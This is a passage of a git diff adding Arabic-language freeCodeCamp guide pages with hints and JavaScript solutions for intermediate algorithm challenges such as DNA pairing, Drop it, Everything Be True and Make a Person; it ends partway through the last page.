+![الحمض النووي](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2798a83aaaa34ec2b18f4b8ec122b76c264a9d67.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+*   ستحصل على تسلسل حبلا الدنا وتحتاج إلى الحصول على الزوج وإعادتها كمجموعة ثنائية الأبعاد من أزواج القاعدة. ضع في اعتبارك أن السلاسل المتوفرة يجب أن تكون أولاً دائمًا.
+    
+*   طريقة أخرى لتفسير المشكلة: هناك أربعة أحرف محتملة موجودة في DNA: "A" و "T" و "G" و "C". يتم الجمع بين "A" و "T" معًا ، ويتم دائمًا إقران "G" و "C" معًا.  
+    تقدم لك هذه المشكلة إدخالاً ، على سبيل المثال "ATCGA". كل من هذه الشخصيات الخمسة يفتقدون أزواجهم.  
+    على سبيل المثال ، يجب أن يتم إقران الحرف الأول "A" مع "T" لإعطاء عنصر الصفيف \["A"، "T"\].  
+    يجب إقران الحرف الثاني "T" مع "A" لإعطاء عنصر الصفيف \["T" ، "A"\].  
+    عدد العناصر في الإخراج النهائي يساوي عدد الأحرف في الإدخال.
+    
+
+لا تتضمن هذه المشكلة إعادة ترتيب الإدخال في تركيبات أو تباينات مختلفة.
+
+#### روابط ذات صلة
+
+*   [Array.push ()](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [String.split ()](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   هناك نوعان من حالة القاعدة ، AT و CG ، هذه تذهب في الاتجاهين. يمكنك استخدام التعبير العادي ، إذا كانت بيانات أي شيء يمكن أن تفكر به.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+*   أود أن أوصي باستخدام التبديل ، لأنه يجعل الأمور أكثر سلاسة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+*   يجب أن تكون النتيجة صفيفًا من المصفوفات ، لذا ضع ذلك في الاعتبار عند دفع الأشياء.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function pairElement(str) { 
+      // Return each strand as an array of two elements, the original and the pair. 
+      var paired = []; 
+ 
+      // Function to check with strand to pair. 
+      var search = function(char) { 
+        switch (char) { 
+          case 'A': 
+            paired.push(['A', 'T']); 
+            break; 
+          case 'T': 
+            paired.push(['T', 'A']); 
+            break; 
+          case 'C': 
+            paired.push(['C', 'G']); 
+            break; 
+          case 'G': 
+            paired.push(['G', 'C']); 
+            break; 
+        } 
+      }; 
+ 
+      // Loops through the input and pair. 
+      for (var i = 0; i < str.length; i++) { 
+        search(str[i]); 
+      } 
+ 
+      return paired; 
+    } 
+ 
+    // test here 
+    pairElement("GCG"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLmz/0)
+
+### شرح الشفرة:
+
+*   البرنامج بسيط للغاية ، أفضل حل قد توصلت إليه هو استخدام مفتاح لالتقاط جميع العناصر الأربعة الممكنة. استخدام إذا كانت العبارات تأخذ الكثير من التعليمات البرمجية. يمكنك أيضًا استخدام التعبيرات العادية.
+*   نظرًا لأننا مضطرون إلى الأصل والزوج ، قررت اتخاذ جميع الحالات الأربع بدلاً من القاعدة الثانية.
+*   قم بإنشاء مصفوفة فارغة واستخدم وظيفة `search` لدفع القيم الصحيحة إلى المصفوفة وإعادتها.
+
+#### روابط ذات صلة
+
+*   [تبديل العبارات](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `    function pairElement(str) { 
+    //create object for pair lookup 
+    var pairs = { 
+      "A": "T", 
+      "T": "A", 
+      "C": "G", 
+      "G": "C" 
+    } 
+    //split string into array of characters 
+    var arr = str.split(""); 
+    //map character to array of character and matching pair 
+    return arr.map(x => [x,pairs[x]]); 
+  } 
+ 
+  //test here 
+  pairElement("GCG"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/repls/ThoroughSphericalComputeranimation)
+
+## شرح الشفرة:
+
+*   قم أولاً بتعريف كائن بكل الاحتمالات الزوجية ، وهذا يتيح لنا العثور بسهولة على المفتاح أو القيمة.
+*   تقسيم `str` في صفيف أحرف حتى نتمكن من استخدام كل حرف للعثور على زوجها.
+*   استخدم وظيفة الخريطة لتعيين كل حرف في الصفيف إلى مصفوفة ذات الحرف والزوج المطابق ، مما يؤدي إلى إنشاء مصفوفة ثنائية الأبعاد.
+
+#### روابط ذات صلة
+
+*   [Array.prototype.map ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [موصلات الملكية](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_accessors)
+*   [وظائف السهم](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/drop-it/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/drop-it/index.md
new file mode 100644
index 0000000000..37812ae3b5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/drop-it/index.md
@@ -0,0 +1,129 @@
+---
+title: Drop it
+localeTitle: أسقطها
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/2/236dcca68bf55be37bf7cbb9646f6e0156b4a3c3.png)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+بشكل أساسي بينما الوسيطة الثانية غير صحيحة ، يجب عليك إزالة العنصر الأول من يسار الصفيف الذي تم تمريره كوسيطة أولى.
+
+#### روابط ذات صلة
+
+*   [كائن الحجج](http://forum.freecodecamp.com/t/javascript-arguments/14283)
+*   [Array.shift ()](http://forum.freecodecamp.com/t/javascript-array-prototype-shift/14301)
+*   [Array.slice ()](http://forum.freecodecamp.com/t/javascript-array-prototype-slice/14302)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+يمكنك استخدام `Array.prototype.shift()` أو التصفية التي يجب أن تكون أكثر دراية لحل هذه المشكلة في بضعة أسطر من التعليمات البرمجية.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+يُرجع مفتاح Shift العنصر الذي تمت إزالته والذي لا نحتاجه حقًا ، فكل ما نحتاجه هو الصفيف المعدَّل المتبقي.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+إذا كنت لا تزال غير قادر على معرفة كيفية حلها مع التحول ، ثم حاول حلها مع مرشح ، والتحقق من كيفية عمل مرشح ، إذا كنت على دراية به ، ثم يمكنك جعل رمز مع التحول.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function dropElements(arr, func) { 
+  // drop them elements. 
+  var times = arr.length; 
+  for (var i = 0; i < times; i++) { 
+    if (func(arr[0])) { 
+      break; 
+    } else { 
+      arr.shift(); 
+    } 
+  } 
+  return arr; 
+ } 
+ 
+ // test here 
+ dropElements([1, 2, 3, 4], function(n) {return n >= 3;}) 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLna/0)
+
+### شرح الشفرة:
+
+*   قم بإنشاء حلقة للتحقق من كل عنصر.
+*   ثم تحقق من الوظيفة المقدمة إذا كانت صحيحة ثم توقف ، وإلا قم بإزالة هذا العنصر.
+*   العودة الصفيف.
+
+#### روابط ذات صلة
+
+*   [للحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   [المزيد عن الحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function dropElements(arr, func) { 
+  return arr.slice(arr.findIndex(func) >= 0 ? arr.findIndex(func): arr.length, arr.length); 
+ } 
+ 
+ // test here 
+ dropElements([1, 2, 3, 4], function(n) {return n >= 3;}); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnc/0)
+
+### شرح الشفرة:
+
+*   استخدم الدالة `findIndex()` للعثور على فهرس العنصر الذي يمرر الشرط
+*   شريحة المصفوفة من فهرس وجدت حتى النهاية
+*   هناك حالة حافة واحدة! إذا لم يتم استيفاء الشرط ضد أي من العناصر 'findIndex' سيعود `-1` الذي يفسد الإدخال إلى `slice()` . في هذه الحالة ، استخدم عامل تشغيل شرطي بسيط لإرجاع `false` بدلاً من `-1` . والمشغل الثلاثي (؟ ![:slight_smile:](https://forum.freecodecamp.com/images/emoji/emoji_one/slight_smile.png?v=3 ": slight_smile:") إرجاع فهرس العثور على العناصر المطلوبة عندما يكون الشرط `true` ، وطول المصفوفة بطريقة أخرى بحيث تكون قيمة الإرجاع عبارة عن مصفوفة فارغة كما هو موضح.
+
+#### روابط ذات صلة
+
+*   [findIndex ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex)
+*   [مشغل شرطي](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function dropElements(arr, func) { 
+  while(arr.length > 0 && !func(arr[0])) { 
+    arr.shift(); 
+  } 
+  return arr; 
+ } 
+ 
+ // test here 
+ dropElements([1, 2, 3, 4], function(n) {return n >= 3;}); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnf/0)
+
+### شرح الشفرة
+
+*   استخدم حلقة `Array.prototype.shift()` مع `Array.prototype.shift()` لمتابعة التدقيق وإسقاط العنصر الأول من الصفيف حتى ترجع الدالة true. كما أنه يتأكد من أن المصفوفة ليست فارغة أولاً لتجنب حلقات لا نهائية.
+*   أعد الصفيف الذي تمت تصفيته.
+
+#### روابط ذات صلة
+
+*   [في حين حلقات](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/while)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/everything-be-true/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/everything-be-true/index.md
new file mode 100644
index 0000000000..399e9da790
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/everything-be-true/index.md
@@ -0,0 +1,132 @@
+---
+title: Everything Be True
+localeTitle: كل شيء يكون حقيقة
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/d/d69c7f2d86b8902a9bc83653d95932115de47e6a.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+يحتاج البرنامج إلى التحقق مما إذا كانت الوسيطة الثانية عنصر [صواب](http://forum.freecodecamp.com/t/javascript-truthy-value/15975) ، ويجب أن يتحقق ذلك لكل كائن في الوسيطة الأولى.
+
+#### روابط ذات صلة
+
+*   [جافا سكريبت تروثي](http://forum.freecodecamp.com/t/javascript-truthy-value/15975)
+*   [وسيطات JavaScript](http://forum.freecodecamp.com/t/javascript-arguments/14283.md)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+تذكر أن تتكرر خلال الوسيطة الأولى للتحقق من كل كائن.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+فقط إذا كان كل منهم حقيقة فسوف نعود إلى الحقيقة ، لذا تأكد من التحقق منها جميعًا.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+> _حاول أن تحل المشكلة الآن_
+
+يمكنك استخدام وظائف الحلقات أو الاستدعاءات ، وهناك طرق متعددة لحل هذه المشكلة.
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحلول في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+**استخدام حلقة for-in & hasOwnProperty**
+
+ `function truthCheck(collection, pre) { 
+  // Create a counter to check how many are true. 
+  var counter = 0; 
+  // Check for each object 
+  for (var c in collection) { 
+    // If it is has property and value is truthy 
+    if (collection[c].hasOwnProperty(pre) && Boolean(collection[c][pre])) { 
+      counter++; 
+    } 
+  } 
+  // Outside the loop, check to see if we got true for all of them and return true or false 
+  return counter == collection.length; 
+ } 
+ 
+ // test here 
+ truthCheck([{"user": "Tinky-Winky", "sex": "male"}, {"user": "Dipsy", "sex": "male"}, {"user": "Laa-Laa", "sex": "female"}, {"user": "Po", "sex": "female"}], "sex"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnw/0)
+
+### شرح الشفرة:
+
+*   أولاً ، أقوم بإنشاء عداد للتحقق من عدد الحالات الواقعية.
+*   ثم تحقق من كل كائن إذا كانت القيمة صحيحة
+*   خارج الحلقة، وتحقق لمعرفة ما إذا كان المتغير العداد لديه نفس قيمة طول **جمع** وإذا كان هذا صحيحا ثم يعود **صحيحا،** وإلا، عودة **كاذبة**
+
+#### روابط ذات صلة
+
+*   [شبيبة الحلقات](http://forum.freecodecamp.com/t/javascript-loops/14681)
+*   [Object.prototype.hasOwnProperty ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+**باستخدام Array.every ()**
+
+ `function truthCheck(collection, pre) { 
+  return collection.every(function (element) { 
+    return element.hasOwnProperty(pre) && Boolean(element[pre]); 
+  }); 
+ } 
+ 
+ // test here 
+ truthCheck([{"user": "Tinky-Winky", "sex": "male"}, {"user": "Dipsy", "sex": "male"}, {"user": "Laa-Laa", "sex": "female"}, {"user": "Po", "sex": "female"}], "sex"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLny/0)
+
+### شرح الشفرة:
+
+*   يستخدم الطريقة "every" الأصلية لاختبار ما إذا كانت جميع العناصر في الصفيف تجتاز الاختبار.
+*   سوف يساعد هذا الرابط [Array.prototype.every ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every)
+
+#### روابط ذات صلة
+
+*   [JS Array.prototype.every ()](http://forum.freecodecamp.com/t/javascript-array-prototype-every/14287)
+*   [MDN Array.prototype.every ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function truthCheck(collection, pre) { 
+  // Is everyone being true? 
+  return collection.every(obj => obj[pre]); 
+ } 
+ 
+ truthCheck([{"user": "Tinky-Winky", "sex": "male"}, {"user": "Dipsy", "sex": "male"}, {"user": "Laa-Laa", "sex": "female"}, {"user": "Po", "sex": "female"}], "sex"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/E2u6/0)
+
+### شرح الشفرة:
+
+*   _لكل_ كائن في صفيف `collection` ، تحقق من صحة خاصية الكائن التي تم تمريرها في المعلمة `pre`
+*   `Array#every` أسلوب يتحقق داخلياً إذا كانت القيمة التي يتم إرجاعها من رد الاتصال صحيحة.
+*   إرجاع `true` إذا كان يمر _لكل_ كائن. خلاف ذلك ، تعود `false` .
+
+#### روابط ذات صلة
+
+*   [`Array#every`](http://devdocs.io/javascript/global_objects/array/every)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/index.md
new file mode 100644
index 0000000000..26b00909a7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/index.md
@@ -0,0 +1,11 @@
+---
+title: Intermediate Algorithm Scripting
+localeTitle: برمجة متوسطة خوارزمية
+---
+## برمجة متوسطة خوارزمية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/make-a-person/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/make-a-person/index.md
new file mode 100644
index 0000000000..ebe5b22e4a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/make-a-person/index.md
@@ -0,0 +1,112 @@
+---
+title: Make a Person
+localeTitle: اصنع شخصا
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+عندما بدأت البرنامج ، برزت للتو في إنشاء المهام الست المذكورة في التفاصيل. ومع ذلك ، لم يكن بهذه البساطة. إن ابتكارها كوظيفة ليس بالطريقة الصحيحة ، كان علي أن أقوم بإنشائها بطريقة مختلفة لجعلها مفتاحًا.
+
+هناك أيضا جزء صعب لأنك تحتاج إلى ستة مفاتيح لا أكثر أو أقل ، لذلك في البداية كان لدي المتغير الذي يخزن الاسم الأصلي كمفتاح أيضا والذي كان خطأ.
+
+أما بالنسبة لاستخدام الصفيف ، فهو اختياري ، يمكنك أيضًا إنشاء متغير جديد لإمساك السلسلة المنفصلة إذا كنت ترغب في ذلك ، ولكن من الأسهل التعامل مع الصفيف حيث أن السلاسل غير قابلة للتغيير.
+
+اقرأ التعليمات بعناية ، فهو دائمًا تلميح جيد لتشغيل الشفرة والتحقق من نتائج الاختبار بحيث تعرف ما تتوقعه ولكن لا تثبت نفسك في ذلك. بمجرد أن تفهم ما تحتاج إلى القيام به ، فإن هذه المشكلة سهلة ومباشرة.
+
+#### روابط ذات صلة
+
+*   [إغلاق](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures)
+*   [تفاصيل طراز كائن](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+استخدم **هذا** الترميز لإنشاء المفاتيح بدلاً من الدوال العادية: هذا يعني بدلاً من `var varName = function() {/*...*/}` يجب عليك استخدام `this.varName = function() {/*...*/}`
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+يحتوي البرنامج على اختبار يتحقق من عدد المفاتيح التي استخدمتها ، يجب أن يكون ستة ، ستة المذكورة في قسم التفاصيل. هذا يعني إذا كنت بحاجة إلى العمل مع المتغيرات ، وجعلها محلية وليس مفتاح: `this.fullName = firstAndLast;`
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+في كثير من الأحيان لا تعمل الشفرة بالطريقة التي تتوقعها بسبب أسماء المتغيرات الخاطئة ، تأكد من التحقق من تهجئتها بالطريقة الصحيحة. هذا يحدث لنا جميعا في مرحلة ما.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 4
+
+إذا كنت تواجه مشاكل في كتابة أساليب `setter` ، في ما يلي نموذج لأسلوب `set` :
+
+ `this.setFullName = function(input) { 
+  // Insert your code here 
+ } 
+` 
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `var Person = function(firstAndLast) { 
+  var fullName = firstAndLast; 
+ 
+  this.getFirstName = function() { 
+    return fullName.split(" ")[0]; 
+  }; 
+ 
+  this.getLastName = function() { 
+    return fullName.split(" ")[1]; 
+  }; 
+ 
+  this.getFullName = function() { 
+    return fullName; 
+  }; 
+ 
+  this.setFirstName = function(name) { 
+    fullName = name + " " + fullName.split(" ")[1]; 
+  }; 
+ 
+  this.setLastName = function(name) { 
+    fullName = fullName.split(" ")[0] + " " + name; 
+  }; 
+ 
+  this.setFullName = function(name) { 
+    fullName = name; 
+  }; 
+ }; 
+ 
+ var bob = new Person('Bob Ross'); 
+ bob.getFullName(); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLov/0)
+
+### شرح الشفرة:
+
+*   قم بإنشاء متغير سيجعل نسخة من الاسم الكامل الذي تم تمريره كمعلمة.
